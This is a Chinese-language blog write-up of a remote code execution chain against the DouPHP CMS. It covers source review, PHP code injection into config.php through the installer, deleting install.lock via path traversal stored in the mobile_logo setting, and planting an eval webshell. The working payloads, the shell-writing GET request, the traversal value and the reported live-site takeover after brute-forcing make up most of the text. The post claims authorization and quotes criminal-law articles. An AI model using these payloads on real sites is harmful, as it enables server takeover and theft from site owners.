【原创】记一次DouPHP站点的RCE实战之旅
声明
本次实践是在合法授权情况下进行,数据已经全部脱敏,主要是提供思路交流学习,请勿用于任何非法活动,否则后果自负。
实战记录
信息收集
1,踩点站点
通过fofa 查到目标DouPHP框架该站点(也测试了信息收集安全),由于是一个开源框架,因此选择下载源码,先通过白盒走查,发现隐藏的安全问题。


2 本地代码走查并复现bug
完成本地搭建cms,在安装的页面中发现录入的内容会在一个配置文件中进行保存,因为后续要执行大概率是php文件,通过配置文件匹配,发现了config.php配置文件。

打开配置文件,发现是双引号,说明此处我可以搞事情,尝试双引号闭合执行。

删除install.lock文件,尝试从配置页面注入payload。
${file_put_contents('666.php','<?php eval($_REQUEST[8])?>'}
注入报错,但配置文件却写入成功,发现单引号被转义了,应该是用了类似输入预处理的方法


因此更换注入方式,既然你对单引号进行转义,那我就写入GET传参的形式,通过GET请求来将shell写入,时间换空间。
${file_put_contents($_GET[1],$_GET[2])}
发现写入配置文件成功

通过GET请求来写shell,注意双引号执行需要php版本在5.5以上才能生效。
http://192.168.186.129/douphp/data/config.php?1=666.php&2=<?php eval($_REQUEST[8])?>
发现shell写入成功,说明只要有安装页面,这条RCE的路是通的,但线上站点基本没有这个安装页面怎么办?


根据之前的操作发现,每次安装成功就会有一个install.lock文件,只要能再线上删除这个文件,就能访问安装页面,那问题就是如何能线上删除该文件?

在php中有unlink()函数支持文件的删除,因此进行代码审计,看下该CMS下有没有包含unlink函数的文件。

逐个排查unlink()的形参中,有没有能为我所用的入参,排查发现admin目录下的mobile.php文件中的unlink()函数有突破点。

@ unlink(ROOT_PATH . M_PATH . '/theme/' . $_CFG['mobile_theme'] . '/images/' . $mobile_logo);
PHP语法中:
// $变量 x()函数 ROOT_PATH 常量,发现存在$mobile_logo的变量,因此进一步排查变量的内容;
$mobile_logo = $dou->get_one("SELECT value FROM " . $dou->table('config') . " WHERE name = 'mobile_logo'");
//变量定义中是一段sql的拼接聪数据库拿数据,因此去数据库确认下表和字段是否存在
发现存在上述sql语句对应的表和字段

接下来就是拼接链接,看看该sql语句所对应的业务逻辑是啥。
http://192.168.186.129/douphp/admin/mobile.php
发现该页面是后台,用注册的用户名密码登陆后,发现有疑似mobile log相对应的功能。

长传图片后发现,出现了删除图片的功能,并已经落库。


此时我需要知道上传图片的路径是什么,因为需要这个路径来反向推理出lock文件的位置,因此修改代码进行debug。

通过删除按钮触发,顺利触发文件位置的提示,并且确认了代码执行的顺序。

接下来我就需要通过图片的位置,来倒推install.lock的相对路径。
C:/phpstudy/WWW/douphp/m/theme/default/images/logo.jpg
倒推install.lock的路径为
../../../../data/install.lock
相对路径获取后,接下来的思路就是将该路径存入数据库,那触发删除的时候,就能把对应的install.lock的文件删除了,接下来印证猜想。

删除文件后,发现触发数据库的../../../../data/install.lock文件路径,install.lock文件被成功删除,顺利进入到重装页面,说明整体思路没有错。


那现在的问题就是如何将../../../../data/install.lock直接写入数据库?继续代码走查,发现突破点。

foreach ($_POST as $name => $value) {
if (is_array($value)) $value = serialize($value);
$dou->query("UPDATE " . $dou->table('config') . " SET value = '$value' WHERE name = '$name'");
}
此处存在键值分离($_POST as $name => $value)),代码可以看成
update config set value=$value where name=$name;
那么
$value = '../../../../data/install.lock'
$name = 'mobile_logo'
那就能完成写入。
提交mobile页,开启burp,进行改包,由于我希望直接进入绿色模块的判断逻辑,因此改下body体


继续在post请求中改我需要的数据,并确认数据库写入成功,说明该流程没问题,接下来就是线上复现。


线上渗透复现
通过目录和账号爆破,进入线上的后台

同样的流程改包后提交

上传成功后,点击删除,触发路径

发现能够进入安装页面了,说明流程成功,install.lock文件顺利删除

写入准备好的shell,后续用get传参来写马
${file_put_contents($_GET[1],$_GET[2])}

通过GET请求生成新文件并在其中写入shell,避开单引号的预处理。
http://域名/data/config.php?1=123.php&2=<?php eval($_REQUEST[8])?>
写入成功,使用PHPinfo();确认成功

使用蚁剑,拿下站点,建立稳定的webshell,搞定!

实战复盘
1,信息收集阶段,通过fofa来搜索指定开发框架的站点;
2,通过本地的代码走查,寻找危险函数并逐个定位,寻找可利用的代码文件;
3,重现过程中,一般成熟的CMS都会对单引号等进行转义,此时可以通过后续请求传参的方式来绕过;
4,如果复现过程中需要删除某些文件来实现特定测试步骤,可以通过unlink()函数来定位进行;
5,在unlink()函数定位过程中,寻找可利用变量的模块进行尝试,一些全常量的模块及时放弃;
6,可以通过代码调试的方式寻找正常逻辑下文件的路径,然后倒推路径来为我所用;
7,线上进行复现的时候细心,遇到和本地调试不一样的结果,需要看报错及时调整;
相关法律资料:
依据《刑法修正案(七)》第9条增订的《刑法》第285条第3款的规定,犯提供非法侵入或者控制计算机信息系罪的,处3年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处3年以上7年以下有期徒刑,并处罚金。
第二百八十五条第二款 违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。
刑法第二百五十三条之一:“国家机关或者金融、电信、交通、教育、医疗等单位的工作人员,违反国家规定,将本单位在履行职责或者提供服务过程中获得的公民个人信息,出售或者非法提供给他人,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金。情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。
遵循《数据安全法》和《个人信息保护法》
【原创】记一次DouPHP站点的RCE实战之旅的更多相关文章
- 记一次IIS站点出错的解决过程
记一次IIS站点出错的解决过程 以前一直都是人家用着系统出问题了反馈过来这边改,没想到这回就发生在自己使用的过程中 问题经过 我正在执行一个操作,保存了没有返回提示,打开浏览器控制台查看网络,请求返回 ...
- 从一个简单的ASP.NET 5站点开启.NET跨平台之旅
在经历了阿里云上“黑色1秒”的空欢喜之后,我们“被迫”考虑实现.NET的跨平台,将Web服务器由Windows换成Linux.而这种“被迫”在一个存在已久的愿望下,变得水到渠成.这个愿望就是 —— “ ...
- 使用vue开发微信公众号下SPA站点的填坑之旅
原文发表于本人博客,点击进入使用vue开发微信公众号下SPA站点的填坑之旅 本文为我创业过程中,开发项目的填坑之旅.作为一个技术宅男,我的项目是做一个微信公众号,前后端全部自己搞定,不浪费国家一分钱^ ...
- 记一次MVC4站点在IIS上部署的诡异问题
最近朋友的公司遇到一个站点部署问题, 朋友从事服务器维护多年,说也是花了十多天仍为解决. 经多次尝试未果,仍报错如下: 我询问了相关情况,确认了该网站是VS2013开发的,版本为,NET Framew ...
- 记一次 IIS 站点配置文件备份和还原,物理路径文件批量备份
前言 上一篇文章实现了数据库的批量备份和还原,当然部署在服务器中的IIS站点备份也是一个十分繁琐的事,三四个数量不多的还好,像有一些服务器用了许久,承载几十个站点甚至更多,一个一个备份,再一个一个还原 ...
- [原创]记一次java执行段错误及解决过程
最近一周左右,网管监控系统经常监控到tomcat异常退出,由于有检测tomcat pid的脚本,所以会自动重启服务器,查询tomcat日志没有报错信息,查询系统message日志,可以看到如下信息. ...
- 2018第一发:记一次【Advanced Installer】打包之旅
一.前言 2017年最后几天,你们都高高兴兴的跨年,博主还在加班制作.net安装包.因为年前要出来第一版的安装包,所以博主是加班加点啊.本来想用VS自带的制作工具,不过用过的人都知道,真是非常好(to ...
- 记一次项目使用webuploader爬坑之旅
因前端页面开发使用的为VUE开发,又要支持IE9,遂只有基于webuploader封装一个上传组件.地址:https://github.com/z719725611/vue-upload-web ...
- windows server 2012 IIS配置之FTP站点
原文地址:[原创]winserver2012IIS配置之FTP站点作者:hkmysterious 一.实验拓扑: 使server2012客户计算机通过ftp方式从FTP服务器上下载已上传并共享的文 ...
随机推荐
- Python3输出九九乘法表
for i in range(1,10): for j in range(1,i+1): print('{}x{}={}\t'.format(i, j, i*j), end='') #format格式 ...
- 统计&分析 EXCEL:count、counta、countblank、countif和countifs函数分享
一.count 计算区域中包含数字的单元格的个数以及参数列表中的数字的个数. 利用函数COUNT可以计算单元格区域或数字数组中数字字段的输入项个数. 示例: 1.我要是写成=COUNT(B1,D1), ...
- sql高级手工注入
非常重要:首先在网站找到管理入口,否则,呵呵就算有用户名和密码,找不到入口,也是白玩.. 注入时,注意通过改变大小写.编码.转换等方式躲过系统检查,顺利执行语句!!! (一)数字型注入 正常步骤: 1 ...
- 半吊子菜鸟学Web开发 -- PHP学习2-正则,cookie和session
1正则表达式 1.1基本的匹配字符串 $p = '/apple/'; $str = "apple banna"; if (preg_match($p, $str)) { echo ...
- 简单 Linux 文件系统?
在 Linux 操作系统中,所有被操作系统管理的资源,例如网络接口卡.磁盘驱动器.打印机.输入输出设备.普通文件或是目录都被看作是一个文件.也就是说在 Linux 系统中有一个重要的概念**:一切都是 ...
- 面试问题之C++语言:volatile关键字的作用
volatile的作用 volatile关键字是防止在共享的空间发生读取的错误.只保证其可见性,不保证原子性:使用volatile指每次从内存中读取数据,而不是从编译器优化后的缓存中读取数据,简单来讲 ...
- C++各种输入
https://blog.csdn.net/qq_29735775/article/details/81165882 1.cin 2.cin.get() 3.cin.getline() 4.getli ...
- 如何实现集群中的 session 共享存储?
Session 是运行在一台服务器上的,所有的访问都会到达我们的唯一服务器上,这 样我们可以根据客户端传来的 sessionID,来获取 session,或在对应 Session 不 存在的情况下(s ...
- SpringDataJpa 实体类过滤伪删除
当需要过滤实体类的数据时,根据伪删除字段进行过滤,需要使用Hibernate提供的@Where注解 使用方式: @Entity(name = "Account") @Where( ...
- scrapy基于请求传参实现深度爬取
请求传参实现深度爬取 请求传参: 实现深度爬取:爬取多个层级对应的页面数据 使用场景:爬取的数据没有在同一张页面中 在手动请求的时候传递item:yield scrapy.Request(url,ca ...